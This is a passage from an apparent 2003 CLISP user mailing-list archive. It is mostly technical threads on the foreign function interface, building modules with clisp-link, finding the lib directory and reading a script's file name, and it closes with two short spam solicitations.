symbols in your package that are names of the Lisp call-in functions. This means that the package has to exist, or this will blow up. So the solution is to first compile the package defintion to make a custom .mem image, and then use *that* .mem image with the new lisp executable, to compile the remaining .lisp files and drop the final .mem that has everything. > $ cd vector-module > $ ln -s ../vector.o > $ cd .. > > FIXME: ^-- This could probably be avoided. How? By putting your stub C code into the vector-module subdirectory, and adding its compilation to the Makefile there. > Next step is to generate a new linking-set: > > clisp-link add-module-set vector-module /usr/lib/clisp/base base+vector This will only work if clisp-link is in your path. Maybe this is fixed in recent CLISP, but clisp-link ``traditionally'' installs in $(PREFIX)/lib/clisp, rather than the bin directory, *and* it installs without execute permissions. > This creates the directory base+vector that will contain the extended > CLISP. Unless the directory exists already in which case it bails. So to force a fresh rebuild, you have to manually remove that directory. > - Dynamic linking: is it possible? You bet it's possible. I have successfully wrapped the wxWindows library, which is dynamically linked itself, and drags in a whole lot of other dynamically linked crap. There is nothing to it. The linking which puts together the lisp.run executable is just ordinary linking. > - Using the extended CLISP with command-line arguments One way to package up a command line CLISP application is to do it the way Meta-CVS does it. You create a front-end script which looks like this: #!/path/to/lib/clisp/my-linking-set/lisp.run -M/path/to/lib/clisp/my-linking-set/lispinit.mem (my-package:my-main-function ext:*args*) This script can be generated by another script which sticks in the correct actual paths. -- Meta-CVS: directory structure versioning; versioned symbolic links; versioned execute permission; versioned property lists; easy branching and merging and third party code tracking; all implemented over the standard CVS command line client -- http://freshmeat.net/projects/mcvs From tsiivola@niksula.hut.fi Mon Jan 13 16:58:29 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YFPK-0005e2-00 for ; Mon, 13 Jan 2003 16:58:22 -0800 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Tue, 14 Jan 2003 02:58:00 +0200 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: Kaz Kylheku cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: CLISP-FFI-HOWTO (Was: FFI troubles) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 16:59:09 2003 X-Original-Date: Tue, 14 Jan 2003 02:58:00 +0200 (EET) On Mon, 13 Jan 2003, Kaz Kylheku wrote: *snip good stuff* > By putting your stub C code into the vector-module subdirectory, and > adding its compilation to the Makefile there. ... what Makefile? The one clisp-link put's there (none that I can see) or one that I (should) put there? Hmm. Have to think about integrating the FFI to build-process. > This will only work if clisp-link is in your path. Maybe this is fixed > in recent CLISP, but clisp-link ``traditionally'' installs in See beginning of the howto, in preliminaries. I just made an alias for the full path, since right now I'm doing this by hand -- and anything else would be a tad tedious. > $(PREFIX)/lib/clisp, rather than the bin directory, *and* it installs > without execute permissions. Oops. I remember now that I chmodded it a month back -- have to the fix doc there. Is there a *reason* for no exec permissions? > You bet it's possible. I have successfully wrapped the wxWindows > library, which is dynamically linked itself, and drags in a whole lot > of other dynamically linked crap. There is nothing to it. Hmm. Any chance of getting my grubby little hands on any code? ;) > One way to package up a command line CLISP application is to do it the > way Meta-CVS does it. You create a front-end script which looks like Seems I'll have to see how MetaCVS handles things... Thanks, -- Nikodemus From sds@gnu.org Mon Jan 13 17:56:30 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YGJa-00013J-00 for ; Mon, 13 Jan 2003 17:56:30 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out006.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030114015622.NEFX16549.out006.verizon.net@loiso.podval.org>; Mon, 13 Jan 2003 19:56:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h0E1x34e019062; Mon, 13 Jan 2003 20:59:04 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h0E1x0xs019058; Mon, 13 Jan 2003 20:59:00 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nikodemus Siivola Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out006.verizon.net from [151.203.33.199] at Mon, 13 Jan 2003 19:56:20 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 17:57:02 2003 X-Original-Date: 13 Jan 2003 20:59:00 -0500 > * In message > * On the subject of "[clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles)" > * Sent on Tue, 14 Jan 2003 02:05:07 +0200 (EET) > * Honorable Nikodemus Siivola writes: > > After some fast and furious head-banging I finally got it > working. Somehow. Lot's of unclear issues as of yet, but no matter. if you make it into a web page, I will link to it from the CLISP pages, but it would be better if you suggested improvements (in the form of context diffs) to the CLISP implementation notes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux What garlic is to food, insanity is to art. From sds@gnu.org Mon Jan 13 18:07:05 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YGTp-0002QB-00 for ; Mon, 13 Jan 2003 18:07:05 -0800 Received: from loiso.podval.org ([151.203.33.199]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030114020658.LIRI20431.pop016.verizon.net@loiso.podval.org>; Mon, 13 Jan 2003 20:06:58 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h0E29d4e019129; Mon, 13 Jan 2003 21:09:42 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h0E29Ynl019125; Mon, 13 Jan 2003 21:09:34 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: Nikodemus Siivola , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP-FFI-HOWTO (Was: FFI troubles) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop016.verizon.net from [151.203.33.199] at Mon, 13 Jan 2003 20:06:57 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 18:08:02 2003 X-Original-Date: 13 Jan 2003 21:09:33 -0500 > * In message > * On the subject of "[clisp-list] Re: CLISP-FFI-HOWTO (Was: FFI troubles)" > * Sent on Mon, 13 Jan 2003 16:38:38 -0800 (PST) > * Honorable Kaz Kylheku writes: > > We assume that the path always ends in PREFIX/bin/clisp, and that the > lib directory is PREFIX/lib/clisp. So we chop off the last two > components, bin/clisp and replace them with lib/clisp. > > # Hey look, Lispy looking shell crud on the right hand side! > CLISP_ROOT=$(dirname $(dirname "$CLISP_PATH")) > CLISP_LIB="$CLISP_ROOT/lib/clisp" my CLISP setup would fail this: $ which clisp /usr/local/bin/clisp $ ls -l /usr/local/bin/clisp 0 lrwxrwxrwx 1 root root 25 Mar 14 2002 /usr/local/bin/clisp -> ../src/clisp/stable/clisp* $ ls -l /usr/local/src/clisp/stable 0 lrwxrwxrwx 1 sds sds 11 Dec 21 18:25 /usr/local/src/clisp/stable -> stable-2.30/ the fail-safe method is: $ clisp -q -norc -x '*lib-directory*' #P"/usr/local/src/clisp/stable-2.30/" $ see -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Save your burned out bulbs for me, I'm building my own dark room. From kaz@footprints.net Mon Jan 13 20:44:23 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YIvY-0006LJ-00 for ; Mon, 13 Jan 2003 20:43:52 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18YIv1-0002ep-00; Mon, 13 Jan 2003 20:43:19 -0800 From: Kaz Kylheku To: Sam Steingold cc: Nikodemus Siivola , In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: CLISP-FFI-HOWTO (Was: FFI troubles) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 20:45:05 2003 X-Original-Date: Mon, 13 Jan 2003 20:43:19 -0800 (PST) On 13 Jan 2003, Sam Steingold wrote: > > * Honorable Kaz Kylheku writes: > > CLISP_ROOT=$(dirname $(dirname "$CLISP_PATH")) > > CLISP_LIB="$CLISP_ROOT/lib/clisp" > > my CLISP setup would fail this: [ snip ] > the fail-safe method is: > > $ clisp -q -norc -x '*lib-directory*' > #P"/usr/local/src/clisp/stable-2.30/" Okay, I have fixed my install script to do this: CLISP_LIB=$(clisp -q -norc -x '(progn (princ *lib-directory*) (values))') Thanks. From tsiivola@niksula.hut.fi Mon Jan 13 21:44:40 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YJsH-0006dD-00 for ; Mon, 13 Jan 2003 21:44:34 -0800 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Tue, 14 Jan 2003 07:44:09 +0200 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: Sam Steingold cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 21:45:04 2003 X-Original-Date: Tue, 14 Jan 2003 07:44:09 +0200 (EET) On 13 Jan 2003, Sam Steingold wrote: > if you make it into a web page, I will link to it from the CLISP pages, > but it would be better if you suggested improvements (in the form of > context diffs) to the CLISP implementation notes. I'll do both. ;) The webpage is http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html Diffs later. Cheers, -- Nikodemus From tsiivola@niksula.hut.fi Tue Jan 14 00:44:45 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YMgY-0002Dm-00 for ; Tue, 14 Jan 2003 00:44:39 -0800 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@conflagration.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Tue, 14 Jan 2003 10:44:17 +0200 From: Nikodemus Siivola X-X-Sender: tsiivola@conflagration.cs.hut.fi To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] More FFI questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 14 00:45:03 2003 X-Original-Date: Tue, 14 Jan 2003 10:44:17 +0200 (EET) As far as I have understood, FFI basically requires using the module extension, but according to the Imp. Notes it is available for both UNIX and Win32, but module facility is UNIX only. Does this mean that a) Modules facility works on Win32 as well. (Cygwin? MinGW? M$-based?) b) You can use FFI without modules on any platform. c) You can use FFI without modules on Win32. d) ? Confused once again, -- Nikodemus From sds@gnu.org Tue Jan 14 07:45:02 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YTFO-0007DC-00 for ; Tue, 14 Jan 2003 07:45:02 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out002.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030114154455.YIPB7656.out002.verizon.net@loiso.podval.org>; Tue, 14 Jan 2003 09:44:55 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.6/8.12.5) with ESMTP id h0EFj0Pp013418; Tue, 14 Jan 2003 10:45:00 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.6/8.12.6/Submit) id h0EFixtn013414; Tue, 14 Jan 2003 10:44:59 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nikodemus Siivola Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] More FFI questions References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.33.199] at Tue, 14 Jan 2003 09:44:55 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 14 07:46:06 2003 X-Original-Date: 14 Jan 2003 10:44:59 -0500 > * In message > * On the subject of "[clisp-list] More FFI questions" > * Sent on Tue, 14 Jan 2003 10:44:17 +0200 (EET) > * Honorable Nikodemus Siivola writes: > > b) You can use FFI without modules on any platform. ... on which FFI is available -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Diplomacy is the art of saying "nice doggy" until you can find a rock. From sds@gnu.org Tue Jan 14 08:06:58 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YTab-0003Bi-00 for ; Tue, 14 Jan 2003 08:06:58 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030114160651.KNL3094.out003.verizon.net@loiso.podval.org>; Tue, 14 Jan 2003 10:06:51 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.6/8.12.5) with ESMTP id h0EG6uPp013557; Tue, 14 Jan 2003 11:06:56 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.6/8.12.6/Submit) id h0EG6uak013553; Tue, 14 Jan 2003 11:06:56 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nikodemus Siivola Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.33.199] at Tue, 14 Jan 2003 10:06:50 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 14 08:07:04 2003 X-Original-Date: 14 Jan 2003 11:06:56 -0500 > * In message > * On the subject of "Re: [clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles)" > * Sent on Tue, 14 Jan 2003 07:44:09 +0200 (EET) > * Honorable Nikodemus Siivola writes: > > http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html great. 1. please spell-check it ("via it's FFI" --> "via its FFI" &c) 2. please turn URLs and into hyperlinks. 3. my I suggest that you validate your HTML with ? I linked to you page from the `resources' section on the CLISP site. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't hit a man when he's down -- kick him; it's easier. From tsiivola@niksula.hut.fi Tue Jan 14 09:43:08 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YV5Z-0005kq-00 for ; Tue, 14 Jan 2003 09:43:01 -0800 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Tue, 14 Jan 2003 19:42:35 +0200 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: Sam Steingold cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 14 09:44:04 2003 X-Original-Date: Tue, 14 Jan 2003 19:42:35 +0200 (EET) On 14 Jan 2003, Sam Steingold wrote: > 1. please spell-check it ("via it's FFI" --> "via its FFI" &c) Done, now bad only grammar remains. ;) > 2. please turn URLs and into hyperlinks. Done. Lost the visible urls, though (see next). > 3. my I suggest that you validate your HTML with > ? This is unfortunately rather inconvenient, since the html is generated from simpler, even more braindead markup: check http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.txt for the original. -- Nikodemus From lisp-clisp-list@m.gmane.org Wed Jan 15 09:52:17 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Yri3-00041D-00 for ; Wed, 15 Jan 2003 09:52:15 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18YrgC-000142-00 for ; Wed, 15 Jan 2003 18:50:20 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18YrcH-0000jU-00 for ; Wed, 15 Jan 2003 18:46:17 +0100 Path: not-for-mail From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ Lines: 13 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Message-Flags: Your message contained insufficient voltage X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.2 Subject: [clisp-list] obtaining script filename in script-interpreter mode Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 15 09:53:05 2003 X-Original-Date: Wed, 15 Jan 2003 18:47:36 +0100 Hi, When CLISP is running in #!-interpreter mode on Unix, is there any way of obtaining the namestring of the script? (In perl for example this information is available as $0; EXT:*ARGS* only provides argv[1..argc-1]). A scenario where this information is useful is when launching a Java program; the CLASSPATH environment variable needs to be set relative to the location of launcher-script, rather than the directory from which the launcher-script was executed. -- Eric Marsden From sds@gnu.org Wed Jan 15 10:24:09 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YsCv-0002V9-00 for ; Wed, 15 Jan 2003 10:24:09 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out002.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030115182402.GSSQ7656.out002.verizon.net@loiso.podval.org>; Wed, 15 Jan 2003 12:24:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.6/8.12.6) with ESMTP id h0FIOEZ1012581; Wed, 15 Jan 2003 13:24:14 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.6/8.12.6/Submit) id h0FIOCJC012577; Wed, 15 Jan 2003 13:24:12 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Eric Marsden Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] obtaining script filename in script-interpreter mode References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.33.199] at Wed, 15 Jan 2003 12:24:02 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 15 10:25:05 2003 X-Original-Date: 15 Jan 2003 13:24:12 -0500 > * In message > * On the subject of "[clisp-list] obtaining script filename in script-interpreter mode" > * Sent on Wed, 15 Jan 2003 18:47:36 +0100 > * Honorable Eric Marsden writes: > > When CLISP is running in #!-interpreter mode on Unix, is there any way > of obtaining the namestring of the script? (In perl for example this > information is available as $0; EXT:*ARGS* only provides argv[1..argc-1]). CLISP scripts work by loading the script file using the usual CL mechanism: $ cat >> foo.lisp #!/usr/local/bin/clisp (format t "I am ~s~%" *load-truename*) C-d $ chmod +x foo.lisp $ ./foo.lisp I am #P"/usr/local/src/clisp/current/foo.lisp" $ -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux We're too busy mopping the floor to turn off the faucet. From kaz@footprints.net Wed Jan 15 12:03:35 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ytkb-0004XD-00 for ; Wed, 15 Jan 2003 12:03:01 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18Ytk3-0006e8-00 for clisp-list@lists.sourceforge.net; Wed, 15 Jan 2003 12:02:27 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: <5.1.0.14.0.20021218190528.030d49f0@mail.netquant.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Problem when C function targetted twice by FFI modules. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 15 12:05:33 2003 X-Original-Date: Wed, 15 Jan 2003 12:02:27 -0800 (PST) CLISP contains a foreign function and foreign variable registry keyed on symbol name, which forbids duplicate registration. If you happen to have two FFI modules in your image which try to target the same library function, you get a nasty error, such as: *** - A foreign function "strerror" already exists 1. Break [2]> This is a problem because you have to write your own wrappers for every library function to ensure it has a unique name, or else risk clashing with other pwople's modules that you don't even know about. Or you can use some GNU toolchain extensions to create symbol aliases, if you don't want wrappers, but that's still annoying. It would be nice if the foreign function hash table was keyed on something other in addition to the name, like maybe it could be an #'equal table keyed on (list function-name package-name), and some way to specify the that second element could be worked into the def-call-* macros. Or they could implicitly pick it up from the current *package*, even. This seems like a bit of work, because it affects what goes into the .c file generated from the FFI .lisp module. E.g. this: void module__unix__init_function_2(module) var module_t* module; { register_foreign_function(&strerror,"strerror",1024); /*...*/ } has to become this: void module__unix__init_function_2(module) var module_t* module; { register_foreign_function(&strerror,"strerror","MYPACKAGE",1024); /*...*/ } And of course register_foreign_function and register_foreign_variable have to be changed and every place that refers to the hash table and so forth. Any other ideas? What if, quite simply, duplicate registrations were silently permitted? What would break? From offer1@cfl.rr.com Wed Jan 15 14:34:16 2003 Received: from smtp-server4.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Yw6x-0002xg-00 for ; Wed, 15 Jan 2003 14:34:15 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server4.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0FMVsg8013493 for ; Wed, 15 Jan 2003 17:34:14 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200311563249clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 15 14:35:02 2003 X-Original-Date: Wed, 15 Jan 2003 17:34:09 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From offer1@cfl.rr.com Wed Jan 15 14:34:17 2003 Received: from smtp-server4.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Yw6y-0002xi-00 for ; Wed, 15 Jan 2003 14:34:16 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server4.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0FMVsg9013493 for ; Wed, 15 Jan 2003 17:34:15 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200311563254clisp-list@clisp.cons.org> Subject: [clisp-list] Know More About Identity Theft Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 15 14:35:02 2003 X-Original-Date: Wed, 15 Jan 2003 17:34:14 -0600 Would you like to know more about identity theft and the internet, and how to stop it? Simply reply to this email with " Identity Theft" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From kraehe@copyleft.de Wed Jan 15 18:44:43 2003 Received: from mout0.freenet.de ([194.97.50.131] ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Z00u-0003Rh-00 for ; Wed, 15 Jan 2003 